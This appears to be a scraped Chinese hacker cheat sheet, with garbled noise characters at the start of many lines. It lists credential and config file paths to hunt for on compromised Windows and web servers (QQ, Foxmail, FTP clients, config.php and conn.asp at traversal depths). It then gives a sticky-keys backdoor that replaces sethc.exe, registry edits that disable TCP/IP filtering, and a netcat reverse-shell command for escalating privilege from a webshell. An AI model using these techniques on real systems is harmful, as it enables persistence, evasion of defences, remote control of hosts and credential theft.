" ~" L& H, x% F+ e4 q/usr/share/tomcat6/bin/startup.sh
$ h* C* ]1 b% V% p/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
7 @3 v+ C9 O" i, Y1 Z% E* [9 l8 ^c:\Program Files\Tencent\qq\bin\qq.exe
, }, N& r- B; t5 uc:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
( b+ h& M5 A& Q( ~c:\Program Files\Tencent\qq2010\bin\qq.exe
, d9 X' [5 a% l" B- ac:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
9 q/ C; y- Z- G! b$ h: d$ H" zc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
( j+ R# u: C5 v# N% f% ac:\Program Files\Tencent\RTXServer\AppConfig.xml
# ]5 N* ?* p6 n( P0 k4 ?: I+ eC:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
7 j( v2 _: d; O# r5 gC:\Program Files\tencent\Foxmal\accounts.cfg
( r+ L8 [7 ^/ r! dC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
$ D# H% P; ?- h4 G, U% `0 ~c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
1 C5 v7 p9 ~/ p: ~6 r6 {$ CC:\Program Files\FlashFXP\flashfxp.exe
3 z0 G6 _: _0 X- ~c:\Program Files\Oracle\bin\regsvr32.exe
. s5 N3 n* v% j! z( Jc:\Program Files\腾讯游戏\QQGAME\readme.txt
* `/ `" ^& a7 n5 q8 p/ s' B+ ~c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
, Q0 s8 [! @, s8 Zc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
( G: ^, H& i+ I. C2 C9 `. n' o
- U) {2 J2 P6 r  d( D3.网站相对路径:
3 t9 }" Y  e6 p5 q( T) `: O
) w2 q& ?7 P7 R% c7 Q2 E/config.php
../../config.php
0 F. [. s0 c, ]- m9 h( Q- A" C; p../config.php
3 {0 I' c1 u. ~5 _1 M2 t9 L../../../config.php
/config.inc.php
./config.inc.php
! V5 T4 ]# X7 q' e" j2 s' m  X../../config.inc.php
../config.inc.php
$ C: L# Z* `1 w9 |! ?../../../config.inc.php
/conn.php
./conn.php
../../conn.php
../conn.php
' A& t9 Z7 x' g+ W7 E../../../conn.php
4 B3 y% y5 d* Y" g- |/conn.asp
./conn.asp
../../conn.asp
9 \; g+ l, n$ w- ?, z# N8 x, J../conn.asp
! \- P; Z( f7 _! q0 n8 F0 p../../../conn.asp
/config.inc.php
./config.inc.php
../../config.inc.php
' ^+ x0 q6 @5 h& d! a3 r0 S../config.inc.php
../../../config.inc.php
* f: s8 Q4 m* E1 k: q/config/config.php
../../config/config.php
7 E; X2 v. Z, O2 O) W: [' i../config/config.php
% v( y6 _9 ?2 C: ^../../../config/config.php
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
* o3 Q2 u% O7 `/ c+ d: _! w../../../config/config.inc.php
; V7 L5 r3 Z4 w5 D/config/conn.php
./config/conn.php
- v' m5 H8 A9 K../../config/conn.php
+ T% _, _6 c* Q+ Z- L* R0 a9 B../config/conn.php
../../../config/conn.php
/ B2 m: q# y) c- T8 A, _/config/conn.asp
5 H$ f3 r5 q! S6 H  _% J% |1 f./config/conn.asp
../../config/conn.asp
4 I2 Z) e0 l- Q0 [% l7 e3 r../config/conn.asp
1 ?: f, E& S# N$ I1 N' X9 j0 [../../../config/conn.asp
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
$ y4 A" ]4 R$ V" k$ }; _../config/config.inc.php
% k( m9 E5 {) l../../../config/config.inc.php
/data/config.php
& }! ?$ ~0 @' ]" |../../data/config.php
../data/config.php
../../../data/config.php
/data/config.inc.php
./data/config.inc.php
3 {, s4 N' {1 ?7 h) o& B- `../../data/config.inc.php
../data/config.inc.php
; m% |7 X1 |7 {3 p- K' D* ~../../../data/config.inc.php
/data/conn.php
: x: ~8 K( W2 y- F4 c./data/conn.php
9 v1 h$ d* J4 _  b" |$ _2 X../../data/conn.php
  f6 `# ?) M$ P! v6 f1 B7 B9 L( p../data/conn.php
7 J* D3 `' M/ }! w- D: P+ s../../../data/conn.php
/data/conn.asp
./data/conn.asp
1 _/ f# p$ O+ p6 u. \) @../../data/conn.asp
../data/conn.asp
) Y. Y' b4 J+ F1 n; W5 l, `4 L4 f# N../../../data/conn.asp
' R! I. H4 p6 L* p0 V+ V. W7 o/data/config.inc.php
  x4 N, n9 k$ l./data/config.inc.php
../../data/config.inc.php
. E; G: ~3 {  C6 O1 X8 e../data/config.inc.php
../../../data/config.inc.php
/include/config.php
3 D: `" Y3 m4 l4 m: m1 t9 M../../include/config.php
/ z$ N$ h( W6 |& g4 k0 w, Q6 ]../include/config.php
0 V) h. ]# s! ~8 A2 ~& ?9 `../../../include/config.php
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
5 H3 J3 _' X& L: o- W+ t' T5 J../../../include/config.inc.php
/include/conn.php
1 V1 G# Y7 q! ?7 G5 a1 I./include/conn.php
../../include/conn.php
! s' V4 i2 c1 J$ \: _../include/conn.php
../../../include/conn.php
. Y  h8 G" `1 x$ f. d+ w/include/conn.asp
./include/conn.asp
../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
3 i7 l' d% {" b6 y./include/config.inc.php
9 W3 A. V' P9 q2 e. ]1 v../../include/config.inc.php
2 i9 @8 z2 x* d! B1 e2 P  g0 w../include/config.inc.php
# I# Q% H6 q- \3 a. B" n../../../include/config.inc.php
) |! m% _) [1 _! P% M/ X$ H# V8 X( q/inc/config.php
../../inc/config.php
../inc/config.php
' |$ E) G1 N# ~- g3 A+ K../../../inc/config.php
) z9 `! w# l$ ?6 z' ]% B7 b+ y" |/inc/config.inc.php
./inc/config.inc.php
! e* S9 r, o2 o; G' S4 ~../../inc/config.inc.php
0 C" Z5 F4 @; _% O../inc/config.inc.php
& d1 B/ [8 h( v6 z../../../inc/config.inc.php
/inc/conn.php
* D3 `3 c: r! W3 Y./inc/conn.php
../../inc/conn.php
% i* h% F9 X# N+ r  m3 ~../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
/ P1 {& f3 }5 M../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
* r" `3 W+ F7 P8 f8 u( W/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
  E! n9 X8 |1 p../../../inc/config.inc.php
' Q8 {! w5 K* m2 {' X7 U$ k4 R/index.php
./index.php
../../index.php
../index.php
; ~0 d: I5 r6 j( ^* J../../../index.php
! s* Y: a: i4 `! n/ A3 R8 S/index.asp
% j7 U; t* \+ N, C2 P./index.asp
../../index.asp
1 @- W1 A5 ]& U* l../index.asp
../../../index.asp
; Y9 b/ L' E2 Y  o5 g5 b) O替换SHIFT后门
' s1 X  I2 y9 o0 x% n" c$ Q/ M* x3 b　attrib c:\windows\system32\sethc.exe -h -r -s

% E  l7 [# O1 ~- c; e  x　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
# d4 @, Q. j3 w$ V) d
+ y2 D/ h2 I  A% G　　del c:\windows\system32\sethc.exe
8 y/ Q% |; M  [$ S2 d/ b" H1 @
　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

6 ^- S& f# }5 f" _3 J" k2 V7 g　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
+ ]2 {7 e$ v: ?- u$ }
　　attrib c:\windows\system32\sethc.exe +h +r +s

( t1 G) ]6 n) Z, j　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
3 a7 z; U0 J$ O4 D# x去除TCPIP筛选
8 S+ k0 Z+ b$ c. z4 O& W) JTCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
0 x- I* I2 `- MHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
- h8 J5 A$ {, O8 \7 o5 i9 q
分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

' S8 r; p8 E. J/ N& d然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

再将以上三个文件分别用
regedit -s D:\a.reg
) x4 H6 X% s, p  O7 oregedit -s D:\b.reg
8 [# s: I7 L* }  T- E$ S! u/ gregedit -s D:\c.reg
" f- R/ v: A8 I  r6 Z+ ]4 q导入注册表即可
9 q$ x) i! B- g+ V; I1 c
: _  H4 Z4 n9 X( S- {# W4 ]; ]# q7 iwebshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
& R! e+ b! k+ _" ~"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
  V4 i7 H& p& q, P9 v7 x0 f通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
* k$ n4 d& Y& M( V$ u, x) f命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
+ F. f: i/ b( }# i却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功